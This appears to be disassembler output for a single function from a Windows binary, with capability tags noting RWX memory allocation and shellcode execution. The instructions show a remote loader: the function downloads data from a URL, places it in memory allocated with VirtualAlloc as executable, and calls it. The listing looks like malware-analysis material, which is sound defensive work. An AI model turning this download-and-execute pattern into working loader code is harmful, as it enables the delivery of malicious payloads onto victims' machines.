Function at 0x404b90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
lea ebp, [esp - 0x104]
sub esp, 0x104
push 0xffffffffffffffff
push 0x43f2c0
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x1054920]
xor eax, ebp
mov dword [ebp + 0x100], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, dword [ebp + 0x10c]
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push 1
push str.lpload
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x15], 0
call fcn.0041638d
push ebx
push 4
lea eax, [ebp - 0x14]
push eax
mov esi, 0x2710
push 2
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], esi
call fcn.00415bd8
push ebx
push 4
lea ecx, [ebp - 0x14]
push ecx
push 5
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x14], esi
call fcn.00415bd8
push ebx
push 4
lea edx, [ebp - 0x14]
push edx
push 6
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x14], esi
call fcn.00415bd8
push ebx
push 4
lea eax, [ebp - 0x14]
push eax
push 7
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x14], esi
call fcn.00415bd8
push ebx
push 4
lea ecx, [ebp - 0x14]
push ecx
push 8
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x14], esi
call fcn.00415bd8
push ebx
push ebx
push 0x84000002
push 1
push edi
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x20], ebx
mov byte [ebp - 4], 1
call fcn.00416cd9
mov ebx, eax
lea edx, [ebp - 0x24]
push edx
mov ecx, ebx
mov dword [ebp - 0x14], ebx
call fcn.00415c92
cmp dword [ebp - 0x24], 0xc8
jne 0x404de1
xor esi, esi
push esi
lea eax, [ebp - 0x1c]
push eax
push 5
mov ecx, ebx
mov dword [ebp - 0x1c], esi
call fcn.00415c69
mov eax, dword [ebp - 0x1c]
cmp eax, esi
jbe 0x404db2
add eax, 8
push eax
call fcn.0042a005
mov edi, eax
add esp, 4
mov dword [ebp - 0x20], edi
cmp edi, esi
jne 0x404d0c
push 0x10
push str.Error
push str.Failed_to_allocate_memory.
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], 0xffffffff
call fcn.00416a3a
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x100]
xor ecx, ebp
call fcn.004292a4
add ebp, 0x104
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x1c]
add ecx, 8
push ecx
push esi
push edi
call fcn.004292c0
add esp, 0xc
lea ecx, [ecx]
mov eax, dword [ebp - 0x1c]
cmp esi, eax
jae 0x404d6d
sub eax, esi
cmp eax, 0x800
jb 0x404d35
mov eax, 0x800
mov edx, dword [ebx]
mov edx, dword [edx + 0x34]
push eax
lea eax, [esi + edi]
push eax
mov ecx, ebx
call edx
test eax, eax
jg 0x404d69
push 0x10
push str.Error
push str.Failed_to_read_data_from_URL.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push edi
call fcn.00429f28
add esp, 4
jmp 0x404cd6
add esi, eax
jmp 0x404d20
push 0x40
push 0x1000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x404d91
push 0x10
push str.Error
push str.Failed_to_allocate_executable_memory.
jmp 0x404d53
mov eax, dword [ebp - 0x1c]
push eax
push edi
push esi
call fcn.0042a0d0
add esp, 0xc
call esi
mov byte [ebp - 0x15], 1
test edi, edi
je 0x404db2
push edi
call fcn.00429f28
add esp, 4
test ebx, ebx
je 0x404dca
mov edx, dword [ebx]
mov eax, dword [edx + 0x4c]
mov ecx, ebx
call eax
mov edx, dword [ebx]
mov eax, dword [edx + 4]
push 1
mov ecx, ebx
call eax
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], 0xffffffff
call fcn.00416a3a
mov al, byte [ebp - 0x15]
jmp 0x404ce7
call fcn.0041059c
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x404dfb
push 0x80004005
call fcn.004011d0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x24]
push ecx
lea edx, [ebp - 0x1c]
push str.Server_returned_status_code__d
push edx
mov byte [ebp - 4], 2
call fcn.00401c90
mov esi, dword [ebp - 0x1c]
add esp, 0xc
push 0x10
push str.HTTP_Error
push esi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea eax, [esi - 0x10]
mov byte [ebp - 4], 1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404db2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x404db2